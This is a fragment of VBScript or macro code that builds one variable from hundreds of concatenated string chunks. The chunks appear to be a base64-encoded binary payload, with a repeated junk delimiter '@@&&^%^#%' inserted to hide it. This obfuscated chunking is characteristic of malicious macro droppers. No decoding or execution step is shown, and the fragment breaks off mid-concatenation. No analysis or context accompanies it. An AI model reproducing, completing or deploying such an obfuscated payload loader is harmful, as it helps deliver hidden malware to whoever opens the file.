IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%GEw4RDihV@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%GOngB@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%RChRyxQI@@&&^%^#%cBeNEw@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%SUWEQ6iJRMPFBQXjQQ@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%ElFhecJRMQKF@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%YREBaROR8@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%RDxaaKE0@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%bQCQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%ShW@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%GKFc@@&&^%^#%@@&&^%^#%@@&&^%^#%Z0"
IWHGBkP = IWHGBkP & "CQ@@&&^%^#%@@&&^%^#%@@&&^%^#%RMOKE0@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%YTDBEMFHLj@@&&^%^#"
IWHGBkP = IWHGBkP & "%gBwF40T@@&&^%^#%@@&&^%^#%@@&&^%^#%BJRZy"
IWHGBkP = IWHGBkP & "/QI@@&&^%^#%cKIUFChY@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%GEQwUchkD@@&&^%^#%H@@&&^%^#%XjRM@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%ElFh8lKDo@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%ZyLwM@@&&^%^#%cHJT"
IWHGBkP = IWHGBkP & "@@&&^%^#%wBwcl0D@@&&^%^#%H@@&&^%^#%oWQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BqIUFChY@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%GEQwUcnsD@@&&^%^#%H@@&&^%^#%X"
IWHGBkP = IWHGBkP & "jRM@@&&^%^#%@@&&^%^#%@@&&^%^#%ElFnKP@@&&"
IWHGBkP = IWHGBkP & "^%^#%wBwEQwUchkD@@&&^%^#%H@@&&^%^#%WjRM@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%EUFBQoU@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%BihN@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%GEQgoWg@@&&^%^#%@@&&^%^#%BihT"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%GohQUKFg@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%YRDBRyKgQ@@&&^%^#%"
IWHGBkP = IWHGBkP & "cBeNEw@@&&^%^#%@@&&^%^#%@@&&^%^#%SUWEQwU"
IWHGBkP = IWHGBkP & "chkD@@&&^%^#%H@@&&^%^#%WjRM@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%EUFBQoU@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%BihR@@&&^%^#%@@&&^%^#%@@&&^%^#%G"
IWHGBkP = IWHGBkP & "KFs@@&&^%^#%@@&&^%^#%@@&&^%^#%aiFBQoW@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%BhEMFHJMB@@&&^%^"
IWHGBkP = IWHGBkP & "#%BwF40T@@&&^%^#%@@&&^%^#%@@&&^%^#%BJRZy"
IWHGBkP = IWHGBkP & "Z@@&&^%^#%Q@@&&^%^#%cKIUFChY@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%GEQwUcngE@@&&^%^#%H@@&&^%"
IWHGBkP = IWHGBkP & "^#%XjRM@@&&^%^#%@@&&^%^#%@@&&^%^#%ElFhaM"
IWHGBkP = IWHGBkP & "@@&&^%^#%w@@&&^%^#%@@&&^%^#%@@&&^%^#%aIU"
IWHGBkP = IWHGBkP & "FChY@@&&^%^#%@@&&^%^#%@@&&^%^#%GEQwUcp@@"
IWHGBkP = IWHGBkP & "&&^%^#%E@@&&^%^#%H@@&&^%^#%WjRM@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%EUFBQXKFw@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%Ym3RI@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%lKE4@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%YTEShP@@&&^%^#%@@&&^%^#%@@&&^%^#%G"
IWHGBkP = IWHGBkP & "3Q@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%Dd"
IWHGBkP = IWHGBkP & "FQ@@&&^%^#%@@&&^%^#%@@&&^%^#%BEMOQ0@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%RDChN@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%GKF0@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%Ym3@@&&^%^#%coS@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BihJ@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%GJjgM@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%ByhI@@&&^%^#%@@&&^%^#%@@&&^%^#%G"
IWHGBkP = IWHGBkP & "KEk@@&&^%^#%@@&&^%^#%@@&&^%^#%Ym3RI@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%lKE4@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%YTEihP@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%G3Q@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%q@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%BBZ@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%G@@"
IWHGBkP = IWHGBkP & "&&^%^#%C@@&&^%^#%@@&&^%^#%@@&&^%^#%b@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%ewI@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%BI@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%l@@&&^%^#%@@&&^%^#%@@&&^%^#%B"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%O@@&&^%^#%C@@&&^%^#%@@&&^%^#%CJ@@&&"
IWHGBkP = IWHGBkP & "^%^#%Q@@&&^%^#%@@&&^%^#%aQQ@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%BI@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%l@@&&^%^#%@@&&^%^#%@@&&^%^#%B@@&&^%^#"
IWHGBkP = IWHGBkP & "%g@@&&^%^#%@@&&^%^#%@@&&^%^#%O@@&&^%^#%C"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%Cg@@&&^%^#%Q@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%g@@&&^%^#%Q@@&&^%^#%@@&&^%^#%BU@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%Q@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%CzB@@&&^%^#%@@&&^%^#%@@&&^%^#%twQ@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%BI@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%l@@&&^%^#%@@&&^%^#%@@&&^%^#%B"
IWHGBkP = IWHGBkP & "OisCJhb+CQ@@&&^%^#%@@&&^%^#%KB4@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%oq@@&&^%^#%D4r@@&&^%^#"
IWHGBkP = IWHGBkP & "%iYW@@&&^%^#%P4J@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%oLw@@&&^%^#%@@&&^%^#%CiouKwImFg@@&&^%"
IWHGBkP = IWHGBkP & "^#%oM@@&&^%^#%@@&&^%^#%@@&&^%^#%CipKKwIm"
IWHGBkP = IWHGBkP & "Fv4J@@&&^%^#%@@&&^%^#%D+CQE@@&&^%^#%bzE@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%oq@@&&^%^#%D4r"
IWHGBkP = IWHGBkP & "@@&&^%^#%iYW@@&&^%^#%P4J@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%oMg@@&&^%^#%@@&&^%^#%CipaKwIm"
IWHGBkP = IWHGBkP & "Fv4J@@&&^%^#%@@&&^%^#%D+CQE@@&&^%^#%/gkC"
IWHGBkP = IWHGBkP & "@@&&^%^#%G8z@@&&^%^#%@@&&^%^#%@@&&^%^#%K"
IWHGBkP = IWHGBkP & "Kg@@&&^%^#%6KwImFv4J@@&&^%^#%@@&&^%^#%Bv"
IWHGBkP = IWHGBkP & "N@@&&^%^#%@@&&^%^#%@@&&^%^#%Cio@@&&^%^#%"
IWHGBkP = IWHGBkP & "SisCJhb+CQ@@&&^%^#%@@&&^%^#%/gkB@@&&^%^#"
IWHGBkP = IWHGBkP & "%G81@@&&^%^#%@@&&^%^#%@@&&^%^#%KKgBeKwIm"
IWHGBkP = IWHGBkP & "FgD+CQ@@&&^%^#%@@&&^%^#%/gkB@@&&^%^#%P4J"
IWHGBkP = IWHGBkP & "@@&&^%^#%g@@&&^%^#%oNg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "Cio+KwImFgD+CQ@@&&^%^#%@@&&^%^#%KDc@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%oqLisCJhY@@&&^%^#%"
IWHGBkP = IWHGBkP & "KDg@@&&^%^#%@@&&^%^#%@@&&^%^#%oqbisCJhY@"
IWHGBkP = IWHGBkP & "@&&^%^#%/gk@@&&^%^#%@@&&^%^#%P4J@@&&^%^#"
IWHGBkP = IWHGBkP & "%QD+CQI@@&&^%^#%/gkD@@&&^%^#%Cg5@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%KKk4r@@&&^%^#%iYW@@&&"
IWHGBkP = IWHGBkP & "^%^#%P4J@@&&^%^#%@@&&^%^#%D+CQE@@&&^%^#%"
IWHGBkP = IWHGBkP & "KDo@@&&^%^#%@@&&^%^#%@@&&^%^#%oqSisCJhb+"
IWHGBkP = IWHGBkP & "CQ@@&&^%^#%@@&&^%^#%/gkB@@&&^%^#%G87@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%KKgBKKwImFv4J@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%D+CQE@@&&^%^#%bzw@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%oq@@&&^%^#%E4r@@&&^%^#"
IWHGBkP = IWHGBkP & "%iYW@@&&^%^#%P4J@@&&^%^#%@@&&^%^#%D+CQE@"
IWHGBkP = IWHGBkP & "@&&^%^#%KD0@@&&^%^#%@@&&^%^#%@@&&^%^#%oq"
IWHGBkP = IWHGBkP & "SisCJhb+CQ@@&&^%^#%@@&&^%^#%/gkB@@&&^%^#"
IWHGBkP = IWHGBkP & "%G8+@@&&^%^#%@@&&^%^#%@@&&^%^#%KKgBKKwIm"
IWHGBkP = IWHGBkP & "Fv4J@@&&^%^#%@@&&^%^#%D+CQE@@&&^%^#%bz8@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%oq@@&&^%^#%Dor"
IWHGBkP = IWHGBkP & "@@&&^%^#%iYW/gk@@&&^%^#%@@&&^%^#%G9@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%KKgBaKwIm"
IWHGBkP = IWHGBkP & "Fv4J@@&&^%^#%@@&&^%^#%D+CQE@@&&^%^#%/gkC"
IWHGBkP = IWHGBkP & "@@&&^%^#%G9B@@&&^%^#%@@&&^%^#%@@&&^%^#%K"
IWHGBkP = IWHGBkP & "Kg@@&&^%^#%6KwImFv4J@@&&^%^#%@@&&^%^#%Bv"
IWHGBkP = IWHGBkP & "Qg@@&&^%^#%@@&&^%^#%Cio@@&&^%^#%WisCJhb+"
IWHGBkP = IWHGBkP & "CQ@@&&^%^#%@@&&^%^#%/gkB@@&&^%^#%P4J@@&&"
IWHGBkP = IWHGBkP & "^%^#%gBvQw@@&&^%^#%@@&&^%^#%Cio@@&&^%^#%"
IWHGBkP = IWHGBkP & "OisCJhb+CQ@@&&^%^#%@@&&^%^#%b0Q@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%oq@@&&^%^#%D4r@@&&^%^#"
IWHGBkP = IWHGBkP & "%iYW@@&&^%^#%P4J@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%oRQ@@&&^%^#%@@&&^%^#%Cio+KwImFgD+CQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%KGs@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%YqSisCJhb+CQ@@&&^%^#%@@&&^%^#%/gkB"
IWHGBkP = IWHGBkP & "@@&&^%^#%G9G@@&&^%^#%@@&&^%^#%@@&&^%^#%K"
IWHGBkP = IWHGBkP & "KgBeKwImFgD+CQ@@&&^%^#%@@&&^%^#%/gkB@@&&"
IWHGBkP = IWHGBkP & "^%^#%P4J@@&&^%^#%g@@&&^%^#%oRw@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%CipOKwImFgD+CQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "/gkB@@&&^%^#%ChI@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%KKj4r@@&&^%^#%iYW@@&&^%^#%P4J@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%oGQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "Cio+KwImFgD+CQ@@&&^%^#%@@&&^%^#%KEk@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%oqLisCJhY@@&&^%^#%"
IWHGBkP = IWHGBkP & "KEo@@&&^%^#%@@&&^%^#%@@&&^%^#%oqnisCJhY@"
IWHGBkP = IWHGBkP & "@&&^%^#%/gk@@&&^%^#%@@&&^%^#%P4J@@&&^%^#"
IWHGBkP = IWHGBkP & "%QD+CQI@@&&^%^#%/gkD@@&&^%^#%P4JB@@&&^%^"
IWHGBkP = IWHGBkP & "#%D+CQU@@&&^%^#%/gkG@@&&^%^#%ChL@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%KKj4r@@&&^%^#%iYW@@&&"
IWHGBkP = IWHGBkP & "^%^#%P4J@@&&^%^#%@@&&^%^#%@@&&^%^#%oT@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%Cio+KwImFgD+CQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%KE0@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%oqXisCJhY@@&&^%^#%/gk@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%P4J@@&&^%^#%QD+CQI@@&&^%^#%KE4@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%oqTisCJhY@@&&^%^#%"
IWHGBkP = IWHGBkP & "/gk@@&&^%^#%@@&&^%^#%P4J@@&&^%^#%Q@@&&^%"
IWHGBkP = IWHGBkP & "^#%oTw@@&&^%^#%@@&&^%^#%Cio+KwImFgD+CQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%KF@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%oqPisCJhY@@&&^%^#%/gk@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%Cgc@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%KKk4r@@&&^%^#%iYW@@&&^%^#%P4J@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%D+CQE@@&&^%^#%KFE@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%oqjisCJhY@@&&^%^#%/gk@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%P4J@@&&^%^#%QD+CQI@@&&^%^#%"
IWHGBkP = IWHGBkP & "/gkD@@&&^%^#%P4JB@@&&^%^#%D+CQU@@&&^%^#%"
IWHGBkP = IWHGBkP & "KFI@@&&^%^#%@@&&^%^#%@@&&^%^#%oqbisCJhY@"
IWHGBkP = IWHGBkP & "@&&^%^#%/gk@@&&^%^#%@@&&^%^#%P4J@@&&^%^#"
IWHGBkP = IWHGBkP & "%QD+CQI@@&&^%^#%/gkD@@&&^%^#%ChT@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%KKj4r@@&&^%^#%iYW@@&&"
IWHGBkP = IWHGBkP & "^%^#%P4J@@&&^%^#%@@&&^%^#%@@&&^%^#%oV@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%Cio+KwImFgD+CQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%KFU@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%oq@@&&^%^#%z@@&&^%^#%J@@&&^%^#%Cs@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "KwImFgD+CQ@@&&^%^#%@@&&^%^#%/gkB@@&&^%^#"
IWHGBkP = IWHGBkP & "%P4J@@&&^%^#%gD+CQM@@&&^%^#%/gkE@@&&^%^#"
IWHGBkP = IWHGBkP & "%P4JBQD+CQY@@&&^%^#%/gkH@@&&^%^#%ChW@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%KKg@@&&^%^#%+KwIm"
IWHGBkP = IWHGBkP & "FgD+CQ@@&&^%^#%@@&&^%^#%KFc@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%oqGisCJhYXKg@@&&^%^#%aKwIm"
IWHGBkP = IWHGBkP & "FhYq@@&&^%^#%D4r@@&&^%^#%iYWKwImFgIobQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BioTM@@&&^%^#%U@@&&^%^#%"
IWHGBkP = IWHGBkP & "k@@&&^%^#%E@@&&^%^#%@@&&^%^#%@@&&^%^#%U@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%BEr@@&&^%^#%iYWFyhz@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%GOi8@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%mI@@&&^%^#%k@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%4HQE@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%BcKI@@&&^%^#%E@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%4EQE@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%BEEflg@@&&^%^#%@@&&^%^#%@@&&^%^#%oC"
IWHGBkP = IWHGBkP & "Fyhx@@&&^%^#%@@&&^%^#%@@&&^%^#%GObE@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%43P///yYg"
IWHGBkP = IWHGBkP & "B@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%Dju"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%c1k@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%oIjmkobg@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%Bg0gCg@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%DjW@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%EQUbPr3///8gBg@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%Chz@@&&^%^#%@@&&^%^#%@@&&^%^#%GOr8@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%4ug@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%cICZoo"
IWHGBkP = IWHGBkP & "bw@@&&^%^#%@@&&^%^#%BhMEI@@&&^%^#%M@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%WOaQ@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%mHo0J@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%BJRZymgQ@@&&^%^#%"
IWHGBkP = IWHGBkP & "cKIlF3K2B@@&&^%^#%BwoiUYcuQE@@&&^%^#%HCi"
IWHGBkP = IWHGBkP & "JRly+gQ@@&&^%^#%cKIlGnIOBQBwoiUbch4F@@&&"
IWHGBkP = IWHGBkP & "^%^#%HCiJRxyNgU@@&&^%^#%cKIlHXJMBQBwogwg"
IWHGBkP = IWHGBkP & "C@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%DhS"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%OKQ@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%RBRfW"
IWHGBkP = IWHGBkP & "EwUg@@&&^%^#%g@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%Chy@@&&^%^#%@@&&^%^#%@@&&^%^#%GOjg@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%mFgogDQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%Dgr@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%EQRzWg@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%Cihw@@&&^%^#%@@&&^%^#%@@&&^%^#%G"
IWHGBkP = IWHGBkP & "I@@&&^%^#%w@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%4FQ@@&&^%^#%@@&&^%^#%@@&&^%^#%BcT"
IWHGBkP = IWHGBkP & "BTj8/v//I@@&&^%^#%k@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%D+DgY@@&&^%^#%/gwG@@&&^%^#%EUO@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%Cg@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%HH////t/v//mP///6b+"
IWHGBkP = IWHGBkP & "//+y/v//jP///8X+///V/v//Cg@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%n///8g////rv///xo@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%gBQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%Di5////cmQF@@&&"
IWHGBkP = IWHGBkP & "^%^#%H@@&&^%^#%LI@@&&^%^#%s@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%4qf///wYqGz@@&&^%"
IWHGBkP = IWHGBkP & "^#%L@@&&^%^#%LoG@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%G@@&&^%^#%@@&&^%^#%@@&&^%^#%RKwImFi@@"
IWHGBkP = IWHGBkP & "&&^%^#%G@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%OBoG@@&&^%^#%@@&&^%^#%@@&&^%^#%DKHc@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%Y6tgQ@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%C@@&&^%^#%u@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%OM@@&&^%^#%B@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%RFBfaF9aNNw@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%RMWI@@&&^%^#%4@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%ocg@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%Bjqk@@&&^%^#%Q@@&&^%^#%@@&&^%^#%JnNb"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%KehEOHyjWEw4g"
IWHGBkP = IWHGBkP & "@@&&^%^#%g@@&&^%^#%@@&&^%^#%@@&&^%^#%DiM"
IWHGBkP = IWHGBkP & "@@&&^%^#%Q@@&&^%^#%@@&&^%^#%EQR7CQ@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%BBEJKGg@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%Y57@@&&^%^#%I@@&&^%^#%@@&&^%^#%C@@"
IWHGBkP = IWHGBkP & "&&^%^#%f@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%OG8B@@&&^%^#%@@&&^%^#%@@&&^%^#%oeg@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%Bhp@@&&^%^#%WwM@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%C@@&&^%^#%c@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%KHI@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%Y6VQE@@&&^%^#%@@&&^%^#%CYIcs@@&&^%"
IWHGBkP = IWHGBkP & "^#%F@@&&^%^#%H@@&&^%^#%DKHg@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%YMIBc@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%ocw@@&&^%^#%@@&&^%^#%Bjo4"
IWHGBkP = IWHGBkP & "@@&&^%^#%Q@@&&^%^#%@@&&^%^#%ODMB@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%WExIgGg@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%Dgm@@&&^%^#%Q@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%c1s@@&&^%^#%@@&&^%^#%@@&&^%^#%p6EQR7"
IWHGBkP = IWHGBkP & "CQ@@&&^%^#%@@&&^%^#%BBENBBELEgEoZw@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%Bjrs@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%ICE@@&&^%^#%@@&&^%^#%@@&&^%^"
